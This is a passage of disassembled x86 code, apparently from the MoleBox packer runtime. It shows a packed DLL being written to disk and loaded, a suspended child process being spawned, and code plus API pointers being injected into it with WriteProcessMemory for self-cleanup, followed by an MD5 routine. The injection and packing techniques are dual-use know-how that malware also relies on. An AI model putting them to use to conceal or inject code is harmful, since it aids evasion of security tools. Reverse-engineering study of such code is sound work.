eax, [ebp+var_98] push dword ptr [eax+38h] mov eax, [ebp+var_8C] push dword ptr [eax+8] call sub_419437 pop ecx pop ecx mov ecx, [ebp+var_98] mov ecx, [ecx+24h] add ecx, eax mov eax, [ebp+var_98] mov [eax+24h], ecx mov eax, [ebp+var_8C] and dword ptr [eax+10h], 0 mov eax, [ebp+var_8C] and dword ptr [eax+14h], 0 mov eax, [ebp+var_8C] mov dword ptr [eax+24h], 0E0000080h loc_41A317: ; CODE XREF: sub_419995+623j jmp loc_419E58 ; --------------------------------------------------------------------------- loc_41A31C: ; CODE XREF: sub_419995+4DEj and [ebp+var_9C], 0 jmp short loc_41A332 ; --------------------------------------------------------------------------- loc_41A325: ; CODE XREF: sub_419995+9AFj ; sub_419995+9BAj ... mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_41A332: ; CODE XREF: sub_419995+98Ej cmp [ebp+var_9C], 10h jnb short loc_41A375 cmp [ebp+var_9C], 0 jnz short loc_41A346 jmp short loc_41A325 ; --------------------------------------------------------------------------- loc_41A346: ; CODE XREF: sub_419995+9ADj cmp [ebp+var_9C], 2 jnz short loc_41A351 jmp short loc_41A325 ; --------------------------------------------------------------------------- loc_41A351: ; CODE XREF: sub_419995+9B8j mov eax, [ebp+var_9C] mov ecx, [ebp+var_98] and dword ptr [ecx+eax*8+7Ch], 0 mov eax, [ebp+var_9C] mov ecx, [ebp+var_98] and dword ptr [ecx+eax*8+78h], 0 jmp short loc_41A325 ; --------------------------------------------------------------------------- loc_41A375: ; CODE XREF: sub_419995+9A4j push 0Ah pop ecx xor eax, eax mov edi, [ebp+var_8C] rep stosd mov eax, [ebp+var_34] add eax, [ebp+var_30] mov ecx, [ebp+var_8C] mov [ecx+14h], eax mov eax, [ebp+var_8C] mov ecx, [ebp+var_98] mov ecx, [ecx+50h] mov [eax+0Ch], ecx mov esi, offset a_box_ ; "_BOX_" mov edi, [ebp+var_8C] movsd movsw mov eax, [ebp+var_8C] mov ecx, [ebp+var_98] mov ecx, [ecx+38h] mov [eax+8], ecx mov eax, [ebp+var_8C] mov dword ptr [eax+10h], 200h mov eax, [ebp+var_8C] mov dword ptr [eax+24h], 0E0000020h mov eax, [ebp+var_98] mov dword ptr [eax+3Ch], 200h mov eax, [ebp+var_98] mov eax, [eax+50h] mov ecx, [ebp+var_98] add eax, [ecx+38h] mov ecx, [ebp+var_98] mov [ecx+50h], eax mov eax, [ebp+var_98] mov eax, [eax+1Ch] mov ecx, [ebp+var_98] add eax, [ecx+38h] mov ecx, [ebp+var_98] mov [ecx+1Ch], eax mov eax, [ebp+var_98] mov eax, [eax+28h] mov [ebp+var_20], eax push 5 pop ecx mov esi, offset loc_423C48 mov edi, [ebp+var_54] rep movsd movsw movsb mov eax, [ebp+var_54] inc eax mov [ebp+var_BC], eax mov eax, [ebp+var_BC] mov ecx, [ebp+var_98] mov ecx, [ecx+28h] mov [eax+1], ecx call sub_41922D mov ecx, [ebp+var_BC] mov ecx, [ecx+1] xor ecx, eax mov eax, [ebp+var_BC] mov [eax+1], ecx mov eax, [ebp+var_BC] add eax, 5 mov [ebp+var_BC], eax mov eax, [ebp+var_BC] mov ecx, [ebp+var_24] mov [eax+1], ecx mov eax, [ebp+var_BC] add eax, 5 mov [ebp+var_BC], eax mov eax, [ebp+var_BC] mov ecx, [ebp+var_3C] mov [eax+1], ecx mov eax, [ebp+var_BC] add eax, 5 mov [ebp+var_BC], eax mov eax, [ebp+var_BC] inc eax mov [ebp+var_BC], eax mov eax, [ebp+var_BC] mov dword ptr [eax+1], offset sub_419529 and [ebp+var_BC], 0 xor eax, eax mov edi, [ebp+var_54] add edi, 20h stosd stosd stosd mov eax, [ebp+var_54] mov dword ptr [eax+24h], 8 mov eax, [ebp+var_98] mov dword ptr [eax+0A4h], 8 mov eax, [ebp+var_8C] mov eax, [eax+0Ch] add eax, 20h mov ecx, [ebp+var_98] mov [ecx+0A0h], eax mov eax, [ebp+var_98] mov ecx, [ebp+var_8C] mov ecx, [ecx+0Ch] mov [eax+28h], ecx mov eax, [ebp+var_98] mov ax, [eax+6] add ax, 1 mov ecx, [ebp+var_98] mov [ecx+6], ax mov eax, [ebp+var_98] and dword ptr [eax+58h], 0 push 0 push 0 push 2 push 0 push 0 push 40000000h push [ebp+var_28] call ds:dword_424628 ; CreateFileA mov [ebp+var_58], eax cmp [ebp+var_58], 0FFFFFFFFh jnz short loc_41A573 mov ecx, 0EF000011h call sub_41BA32 loc_41A573: ; CODE XREF: sub_419995+BD2j push 0 lea eax, [ebp+var_C0] push eax push [ebp+var_34] push [ebp+var_1C] push [ebp+var_58] call ds:dword_42473C ; WriteFile cmp [ebp+var_2C], 0 jz short loc_41A5A9 push 0 lea eax, [ebp+var_C0] push eax push [ebp+var_30] push [ebp+var_2C] push [ebp+var_58] call ds:dword_42473C ; WriteFile loc_41A5A9: ; CODE XREF: sub_419995+BFAj push 0 lea eax, [ebp+var_C0] push eax push 200h push [ebp+var_54] push [ebp+var_58] call ds:dword_42473C ; WriteFile push [ebp+var_58] call ds:dword_424658 ; FlushFileBuffers push [ebp+var_58] call ds:dword_424624 ; CloseHandle mov ds:dword_4248B8, 1 push [ebp+var_28] call ds:dword_4246DC ; LoadLibraryA mov [ebp+var_C4], eax cmp [ebp+var_C4], 0 jnz short loc_41A61B push 2B5h push offset aCProjectsPTegg ; "C:\\Projects\\P\\Teggo\\MoleBox\\molebox2\\bo"... call sub_41BEBA pop ecx pop ecx push [ebp+var_28] call ds:dword_424640 ; DeleteFileA mov ecx, 0EF000010h call sub_41BA32 loc_41A61B: ; CODE XREF: sub_419995+C60j push [ebp+var_24] push [ebp+var_C4] mov ecx, ds:dword_4248AC call sub_41EC69 movzx eax, [ebp+var_5C] test eax, eax jz loc_41A760 mov eax, [ebp+var_C4] mov [ebp+var_D0], eax mov eax, [ebp+var_D0] mov ecx, [ebp+var_D0] add ecx, [eax+3Ch] mov [ebp+var_E0], ecx mov eax, [ebp+var_E0] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_E0] lea eax, [ecx+eax+18h] mov [ebp+var_DC], eax mov eax, [ebp+var_E0] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_DC] lea eax, [ecx+eax-28h] mov [ebp+var_D4], eax mov eax, [ebp+var_D4] mov eax, [eax+0Ch] mov ecx, [ebp+var_D0] mov eax, [ecx+eax+3Ch] mov [ebp+var_D8], eax mov eax, [ebp+var_D0] add eax, [ebp+var_D8] mov [ebp+var_CC], eax push 5Ch push [ebp+var_24] call sub_4105C0 pop ecx pop ecx mov [ebp+var_C8], eax cmp [ebp+var_C8], 0 jnz short loc_41A6E4 mov eax, [ebp+var_24] mov [ebp+var_C8], eax jmp short loc_41A6F1 ; --------------------------------------------------------------------------- loc_41A6E4: ; CODE XREF: sub_419995+D42j mov eax, [ebp+var_C8] inc eax mov [ebp+var_C8], eax loc_41A6F1: ; CODE XREF: sub_419995+D4Dj push 14h call sub_41BA4A pop ecx mov [ebp+var_100], eax mov eax, [ebp+var_100] mov [ebp+var_E4], eax mov eax, [ebp+var_E4] mov ecx, [ebp+var_C8] mov [eax], ecx mov eax, [ebp+var_E4] mov ecx, ds:dword_4248CC mov [eax+10h], ecx mov eax, [ebp+var_E4] mov ecx, [ebp+var_E0] mov [eax+0Ch], ecx mov eax, [ebp+var_E4] mov ecx, [ebp+var_CC] mov [eax+4], ecx mov eax, [ebp+var_E4] mov ecx, [ebp+var_D0] mov [eax+8], ecx mov eax, [ebp+var_E4] mov ds:dword_4248CC, eax loc_41A760: ; CODE XREF: sub_419995+CA0j call sub_419903 push 0FFFFFFFFh mov eax, [ebp+var_C4] mov [ebp+var_138], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_138] jmp loc_41A822 ; END OF FUNCTION CHUNK FOR sub_419995 ; =============== S U B R O U T I N E ======================================= sub_41A789 proc near ; DATA XREF: _4:004214C0o mov eax, [ebp-48h] mov ds:dword_4248C4, eax cmp dword ptr [ebp-3Ch], 0FFFFFFFFh jz short loc_41A7A1 push 0 push dword ptr [ebp-3Ch] call sub_41473F loc_41A7A1: ; CODE XREF: sub_41A789+Cj mov eax, [ebp-50h] mov [ebp-104h], eax push dword ptr [ebp-104h] call sub_41BACD pop ecx mov eax, [ebp-44h] mov [ebp-108h], eax push dword ptr [ebp-108h] call sub_41BACD pop ecx mov eax, [ebp-1Ch] mov [ebp-10Ch], eax push dword ptr [ebp-10Ch] call sub_41BACD pop ecx mov eax, [ebp-2Ch] mov [ebp-110h], eax push dword ptr [ebp-110h] call sub_41BACD pop ecx mov eax, [ebp-54h] mov [ebp-114h], eax push dword ptr [ebp-114h] call sub_41BACD pop ecx mov eax, [ebp-28h] mov [ebp-118h], eax push dword ptr [ebp-118h] call sub_41BACD pop ecx retn sub_41A789 endp ; --------------------------------------------------------------------------- xor eax, eax ; START OF FUNCTION CHUNK FOR sub_419995 loc_41A822: ; CODE XREF: sub_419995+B8j ; sub_419995+13Aj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_419995 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A831 proc near ; CODE XREF: sub_41DF18+15p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push esi push edi push [ebp+arg_0] mov ecx, ds:dword_4248AC call sub_41EB4C mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41A8AD mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_8], ecx mov eax, [ebp+arg_8] cmp eax, [ebp+var_8] jbe short loc_41A889 mov ecx, [ebp+var_8] inc ecx mov esi, [ebp+var_4] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_41A8A8 ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A831+34j mov ecx, [ebp+arg_8] mov esi, [ebp+var_4] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_C] mov ecx, [ebp+arg_8] mov [eax], ecx loc_41A8A8: ; CODE XREF: sub_41A831+56j push 1 pop eax jmp short loc_41A8AF ; --------------------------------------------------------------------------- loc_41A8AD: ; CODE XREF: sub_41A831+1Cj xor eax, eax loc_41A8AF: ; CODE XREF: sub_41A831+7Aj pop edi pop esi leave retn sub_41A831 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8B3 proc near ; CODE XREF: sub_41D6FE+42p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4214E0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 80h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_78], 0 and [ebp+var_74], 0 and [ebp+var_70], 0 xor eax, eax lea edi, [ebp+var_6C] stosd and [ebp+var_60], 0 push 10h pop ecx xor eax, eax lea edi, [ebp+var_5C] rep stosd call ds:dword_424664 ; GetCurrentProcess mov [ebp+var_68], eax mov [ebp+var_64], offset dword_411740 and [ebp+var_1C], 0 cmp ds:dword_4248B8, 0 jz loc_41AA14 and [ebp+var_4], 0 push 105h call sub_41BA4A pop ecx mov [ebp+var_8C], eax mov eax, [ebp+var_8C] mov [ebp+var_78], eax push 50h call sub_41BA4A pop ecx mov [ebp+var_90], eax mov eax, [ebp+var_90] mov [ebp+var_74], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_78] rep stosd stosb push 104h push [ebp+var_78] push 0 call ds:dword_424698 ; GetModuleHandleA push eax call ds:dword_424694 ; GetModuleFileNameA mov [ebp+var_60], 44h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_60] push eax push 0 push 0 push 4 push 1 push 0 push 0 push 0 push [ebp+var_78] call ds:dword_424638 ; CreateProcessA test eax, eax jnz short loc_41A9AD mov ecx, 0EF000015h call sub_41BA32 loc_41A9AD: ; CODE XREF: sub_41A8B3+EEj call ds:dword_424668 ; GetCurrentProcessId push eax push [ebp+var_88] call sub_41AB84 pop ecx pop ecx push [ebp+var_84] call ds:dword_421020 ; ResumeThread or [ebp+var_4], 0FFFFFFFFh jmp short loc_41AA14 ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov [ebp+var_94], eax cmp [ebp+var_94], 0EF000015h jnz short loc_41A9F8 mov [ebp+var_98], 1 jmp short loc_41AA06 ; --------------------------------------------------------------------------- loc_41A9F8: ; CODE XREF: sub_41A8B3+137j push [ebp+var_14] call sub_41C317 mov [ebp+var_98], eax loc_41AA06: ; CODE XREF: sub_41A8B3+143j mov eax, [ebp+var_98] retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_41AA14: ; CODE XREF: sub_41A8B3+66j ; sub_41A8B3+11Ej mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A8B3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA23 proc near ; CODE XREF: sub_41AB72+Bp ; DATA XREF: sub_41AB72+6o ... var_24C = byte ptr -24Ch var_220 = byte ptr -220h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h push ebp mov ebp, esp sub esp, 24Ch push edi and [ebp+var_108], 0 push ds:dword_42489C push 0 push 1F0FFFh call ds:dword_4248F4 mov ds:dword_4248A8, eax cmp ds:dword_4248A8, 0 jz short loc_41AA94 loc_41AA55: ; CODE XREF: sub_41AA23+63j lea eax, [ebp+var_108] push eax push ds:dword_4248A8 call ds:dword_4248E8 test eax, eax jz short loc_41AA88 cmp [ebp+var_108], 103h jnz short loc_41AA88 push 0FFFFFFFFh push ds:dword_4248A8 call ds:dword_4248EC jmp short loc_41AA55 ; --------------------------------------------------------------------------- loc_41AA88: ; CODE XREF: sub_41AA23+47j ; sub_41AA23+53j push ds:dword_4248A8 call ds:dword_4248FC loc_41AA94: ; CODE XREF: sub_41AA23+30j or [ebp+var_10C], 0FFFFFFFFh and [ebp+var_104], 0 push 40h pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb lea eax, [ebp+var_104] push eax push 104h call ds:dword_4248D0 lea eax, [ebp+var_104] push eax call ds:dword_4248D4 lea eax, [ebp+var_104] push eax push 104h call ds:dword_4248D8 push 64h call ds:dword_4248F8 loc_41AAEB: ; CODE XREF: sub_41AA23+124j lea eax, [ebp+var_24C] push eax push offset dword_424900 call ds:dword_4248DC mov [ebp+var_10C], eax cmp [ebp+var_10C], 0FFFFFFFFh jz short loc_41AB49 lea eax, [ebp+var_220] push eax call ds:dword_4248E0 test eax, eax jnz short loc_41AB3B push 1F4h call ds:dword_4248F8 lea eax, [ebp+var_220] push eax call ds:dword_4248E0 test eax, eax jnz short loc_41AB3B jmp short loc_41AB68 ; --------------------------------------------------------------------------- loc_41AB3B: ; CODE XREF: sub_41AA23+F8j ; sub_41AA23+114j push [ebp+var_10C] call ds:dword_4248E4 jmp short loc_41AAEB ; --------------------------------------------------------------------------- loc_41AB49: ; CODE XREF: sub_41AA23+E7j ; sub_41AA23:loc_41AB68j cmp [ebp+var_10C], 0FFFFFFFFh jz short loc_41AB5E push [ebp+var_10C] call ds:dword_4248E4 loc_41AB5E: ; CODE XREF: sub_41AA23+12Dj push 0 call ds:dword_4248F0 jmp short loc_41AB6A ; --------------------------------------------------------------------------- loc_41AB68: ; CODE XREF: sub_41AA23+116j jmp short loc_41AB49 ; --------------------------------------------------------------------------- loc_41AB6A: ; CODE XREF: sub_41AA23+143j pop edi leave retn sub_41AA23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB6D proc near ; DATA XREF: sub_41AB84+2B6o push ebp mov ebp, esp pop ebp retn sub_41AB6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB72 proc near ; DATA XREF: sub_41AB84+2EFo push ebp mov ebp, esp push ebx push esi push edi mov eax, offset sub_41AA23 call eax ; sub_41AA23 pop edi pop esi pop ebx pop ebp retn sub_41AB72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB84 proc near ; CODE XREF: sub_41A8B3+107p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push esi push edi push 0 call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_24], eax mov eax, [ebp+var_24] mov ecx, [ebp+var_24] add ecx, [eax+3Ch] mov [ebp+var_20], ecx mov eax, [ebp+arg_4] mov ds:dword_42489C, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_42489C push offset dword_42489C push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory push 20h pop ecx xor eax, eax mov edi, offset dword_424900 rep stosd call ds:dword_424668 ; GetCurrentProcessId push eax push offset aMbx@X@_ ; "MBX@%X@*.###" push offset dword_424900 call ds:dword_424754 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_14] push eax push 80h push offset dword_424900 push offset dword_424900 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory mov esi, offset aKernel32_dll ; "kernel32.dll" lea edi, [ebp+var_10] movsd movsd movsd movsb lea eax, [ebp+var_10] push eax push offset aGettemppatha ; "GetTempPathA" call sub_41D300 pop ecx pop ecx mov ds:dword_4248D0, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248D0 push offset dword_4248D0 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aSetcurrentdire ; "SetCurrentDirectoryA" call sub_41D300 pop ecx pop ecx mov ds:dword_4248D4, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248D4 push offset dword_4248D4 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aGetcurrentdire ; "GetCurrentDirectoryA" call sub_41D300 pop ecx pop ecx mov ds:dword_4248D8, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248D8 push offset dword_4248D8 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aFindfirstfilea ; "FindFirstFileA" call sub_41D300 pop ecx pop ecx mov ds:dword_4248DC, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248DC push offset dword_4248DC push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aDeletefilea ; "DeleteFileA" call sub_41D300 pop ecx pop ecx mov ds:dword_4248E0, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248E0 push offset dword_4248E0 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aFindclose ; "FindClose" call sub_41D300 pop ecx pop ecx mov ds:dword_4248E4, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248E4 push offset dword_4248E4 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aGetexitcodepro ; "GetExitCodeProcess" call sub_41D300 pop ecx pop ecx mov ds:dword_4248E8, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248E8 push offset dword_4248E8 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aWaitforsingleo ; "WaitForSingleObject" call sub_41D300 pop ecx pop ecx mov ds:dword_4248EC, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248EC push offset dword_4248EC push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aExitprocess ; "ExitProcess" call sub_41D300 pop ecx pop ecx mov ds:dword_4248F0, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248F0 push offset dword_4248F0 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aOpenprocess ; "OpenProcess" call sub_41D300 pop ecx pop ecx mov ds:dword_4248F4, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248F4 push offset dword_4248F4 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aSleep ; "Sleep" call sub_41D300 pop ecx pop ecx mov ds:dword_4248F8, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248F8 push offset dword_4248F8 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aClosehandle ; "CloseHandle" call sub_41D300 pop ecx pop ecx mov ds:dword_4248FC, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4248FC push offset dword_4248FC push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory mov eax, offset sub_41AB6D sub eax, offset sub_41AA23 mov [ebp+var_1C], eax lea eax, [ebp+var_14] push eax push [ebp+var_1C] push offset sub_41AA23 push offset sub_41AA23 push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory mov eax, [ebp+var_20] mov ecx, [ebp+var_24] add ecx, [eax+28h] mov [ebp+var_18], ecx lea eax, [ebp+var_14] push eax push 20h push offset sub_41AB72 push [ebp+var_18] push [ebp+arg_0] call ds:dword_421024 ; WriteProcessMemory pop edi pop esi leave retn sub_41AB84 endp ; =============== S U B R O U T I N E ======================================= sub_41AE88 proc near ; CODE XREF: _3:00412EECp push esi mov esi, ecx call sub_41B0A1 mov eax, esi pop esi retn sub_41AE88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE94 proc near ; CODE XREF: _3:0041B05Fp _3:0041B06Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, ecx cmp byte ptr [ebx+68h], 0 jnz loc_41AF48 mov edx, [ebx+10h] mov ecx, [ebp+arg_4] push esi mov eax, edx mov esi, ecx lea edx, [edx+ecx*8] shr eax, 3 shl esi, 3 and eax, 3Fh cmp edx, esi push edi mov [ebx+10h], edx jnb short loc_41AEC7 inc dword ptr [ebx+14h] loc_41AEC7: ; CODE XREF: sub_41AE94+2Ej mov edx, ecx push 40h shr edx, 1Dh add [ebx+14h], edx pop edx sub edx, eax cmp ecx, edx mov [ebp+var_4], edx jb short loc_41AF2B mov esi, [ebp+arg_0] mov ecx, edx lea edi, [eax+ebx+18h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax lea eax, [ebx+18h] and ecx, 3 push eax rep movsb mov ecx, ebx call sub_41B0C8 mov esi, [ebp+var_4] lea eax, [esi+3Fh] cmp eax, [ebp+arg_4] jnb short loc_41AF24 mov edi, eax loc_41AF0A: ; CODE XREF: sub_41AE94+8Ej mov eax, [ebp+arg_0] mov ecx, ebx lea eax, [eax+edi-3Fh] push eax call sub_41B0C8 add edi, 40h add esi, 40h cmp edi, [ebp+arg_4] jb short loc_41AF0A loc_41AF24: ; CODE XREF: sub_41AE94+72j mov ecx, [ebp+arg_4] xor eax, eax jmp short loc_41AF2D ; --------------------------------------------------------------------------- loc_41AF2B: ; CODE XREF: sub_41AE94+45j xor esi, esi loc_41AF2D: ; CODE XREF: sub_41AE94+95j mov edx, [ebp+arg_0] sub ecx, esi lea edi, [eax+ebx+18h] mov eax, ecx add esi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi loc_41AF48: ; CODE XREF: sub_41AE94+Bj pop ebx leave retn 8 sub_41AE94 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4Ch push ebx push esi mov esi, ecx xor ebx, ebx push edi mov [ebp-4], esi cmp [esi+68h], bl mov byte ptr [ebp-4Ch], 80h mov [ebp-4Bh], bl mov [ebp-4Ah], bl mov [ebp-49h], bl mov [ebp-48h], bl mov [ebp-47h], bl mov [ebp-46h], bl mov [ebp-45h], bl mov [ebp-44h], bl mov [ebp-43h], bl mov [ebp-42h], bl mov [ebp-41h], bl mov [ebp-40h], bl mov [ebp-3Fh], bl mov [ebp-3Eh], bl mov [ebp-3Dh], bl mov [ebp-3Ch], bl mov [ebp-3Bh], bl mov [ebp-3Ah], bl mov [ebp-39h], bl mov [ebp-38h], bl mov [ebp-37h], bl mov [ebp-36h], bl mov [ebp-35h], bl mov [ebp-34h], bl mov [ebp-33h], bl mov [ebp-32h], bl mov [ebp-31h], bl mov [ebp-30h], bl mov [ebp-2Fh], bl mov [ebp-2Eh], bl mov [ebp-2Dh], bl mov [ebp-2Ch], bl mov [ebp-2Bh], bl mov [ebp-2Ah], bl mov [ebp-29h], bl mov [ebp-28h], bl mov [ebp-27h], bl mov [ebp-26h], bl mov [ebp-25h], bl mov [ebp-24h], bl mov [ebp-23h], bl mov [ebp-22h], bl mov [ebp-21h], bl mov [ebp-20h], bl mov [ebp-1Fh], bl mov [ebp-1Eh], bl mov [ebp-1Dh], bl mov [ebp-1Ch], bl mov [ebp-1Bh], bl mov [ebp-1Ah], bl mov [ebp-19h], bl mov [ebp-18h], bl mov [ebp-17h], bl mov [ebp-16h], bl mov [ebp-15h], bl mov [ebp-14h], bl mov [ebp-13h], bl mov [ebp-12h], bl mov [ebp-11h], bl mov [ebp-10h], bl mov [ebp-0Fh], bl mov [ebp-0Eh], bl mov [ebp-0Dh], bl jz short loc_41B033 mov edi, [ebp+8] cmp edi, ebx jz short loc_41B09A add esi, 58h movsd movsd movsd movsd jmp short loc_41B09A ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: _3:0041B021j lea edi, [esi+10h] push 8 lea eax, [ebp-0Ch] push edi push eax mov ecx, esi call sub_41B9A3 mov eax, [edi] push 38h shr eax, 3 and eax, 3Fh pop ecx cmp eax, ecx jb short loc_41B056 push 78h pop ecx loc_41B056: ; CODE XREF: _3:0041B051j sub ecx, eax lea eax, [ebp-4Ch] push ecx push eax mov ecx, esi call sub_41AE94 lea eax, [ebp-0Ch] push 8 push eax mov ecx, esi call sub_41AE94 lea edi, [esi+58h] push 10h push esi push edi mov ecx, esi call sub_41B9A3 cmp [ebp+8], ebx jz short loc_41B090 mov esi, edi mov edi, [ebp+8] movsd movsd movsd movsd mov esi, [ebp-4] loc_41B090: ; CODE XREF: _3:0041B082j xor eax, eax lea edi, [esi+18h] stosb mov byte ptr [esi+68h], 1 loc_41B09A: ; CODE XREF: _3:0041B028j _3:0041B031j pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= sub_41B0A1 proc near ; CODE XREF: sub_41AE88+3p xor eax, eax mov dword ptr [ecx], 67452301h mov [ecx+68h], al mov [ecx+10h], eax mov [ecx+14h], eax mov dword ptr [ecx+4], 0EFCDAB89h mov dword ptr [ecx+8], 98BADCFEh mov dword ptr [ecx+0Ch], 10325476h retn sub_41B0A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0C8 proc near ; CODE XREF: sub_41AE94+64p ; sub_41AE94+80p var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 50h push ebx push esi mov esi, ecx push edi push 40h mov eax, [esi] push [ebp+arg_0] mov [ebp+var_4], eax mov eax, [esi+4] mov [ebp+var_8], eax mov eax, [esi+8] mov [ebp+var_C], eax mov eax, [esi+0Ch] mov [ebp+var_10], eax lea eax, [ebp+var_50] push eax call sub_41B9EA mov edi, [ebp+var_8] mov ebx, [ebp+var_C] mov eax, edi mov ecx, ebx not eax and eax, [ebp+var_10] and ecx, edi mov edx, edi or eax, ecx mov ecx, [ebp+var_4] add eax, [ebp+var_50] lea ecx, [ecx+eax-28955B88h] mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [ebp+var_10] add ecx, [ebp+var_4C] lea edx, [edx+ecx-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx not edx and edx, edi mov edi, ecx and edi, eax or edx, edi add edx, [ebp+var_48] lea edx, [ebx+edx+242070DBh] mov ebx, ecx mov edi, edx shr edi, 0Fh shl edx, 11h or edi, edx add edi, ecx mov edx, edi and ebx, edi not edx and edx, 